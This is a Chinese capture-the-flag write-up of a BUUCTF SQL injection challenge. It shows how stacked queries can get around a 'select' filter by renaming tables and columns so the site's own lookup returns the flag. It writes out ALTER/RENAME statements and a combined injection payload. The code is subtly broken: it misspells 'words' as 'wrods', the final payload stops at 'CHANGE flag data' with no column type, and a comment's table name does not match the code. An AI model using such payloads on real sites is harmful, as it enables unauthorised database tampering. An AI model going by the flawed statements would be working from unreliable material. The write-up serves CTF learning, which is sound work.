BUUCTF中一道SQL注入的题目,按正常思路做,到第三步的时候发现select被过滤了
按照以往的方式,盲注报错注入等方式已经不适用了,尝试bypass无果,好像都要和select扯上关系,这便引出了堆叠注入的应用。
尝试用堆叠注入查询所有数据库,执行成功
直接查询当前数据库的表,判断words表是我们应该查询的表
查询words表,发现其中的内容都没啥用
之前还有一个一大串数字的表,查询发现无回显。
像是这种一长串的表名,需要在外面加一个反引号``,果然查询到一个名为flag的列
答案已经近在咫尺了,但是对方过滤了select,我么无法直接查询到flag
虽然我们上传不了select,但是对方本身是有select查询语法的
在当前页面有个与数据库交互的操作。id=1,2,3
那么这里是从word表里面进行查询
前面说过,我们可以通过堆叠注入进行增删改查,那么此时我们可以把1919810931114514改为words表,然后添加id参数,再把原来的words给改为其他
讲白了就是占别人的窝
OK 开始
mysql里修改表名的操作:
把默认的 words 改为 ww
ALTER TABLE words RENAME TO word22;
把1919810931114514改为words
ALTER TABLE `1919810931114514` RENAME TO words;
往words表里新增一个字段 id
ALTER TABLE wrods ADD id int(10) DEFAULT '12';
修改word里面flag为data
ALTER TABLE words CHANGE flag data VARCHAR(100);
然后把以上语句进行堆叠
1';rename table words to word22;rename table `1919810931114514` to words;ALTER TABLE wrods ADD id int(10) DEFAULT '12';ALTER TABLE words CHANGE flag data
将该语句执行后,再次搜索 12 即可查询到 flag 内容。但是要注意一点,上面的步骤不能一行一行的执行,要堆叠后一次全部执行掉,否则对words表改名后系统将无法执行查询功能,你就再也无法得到flag了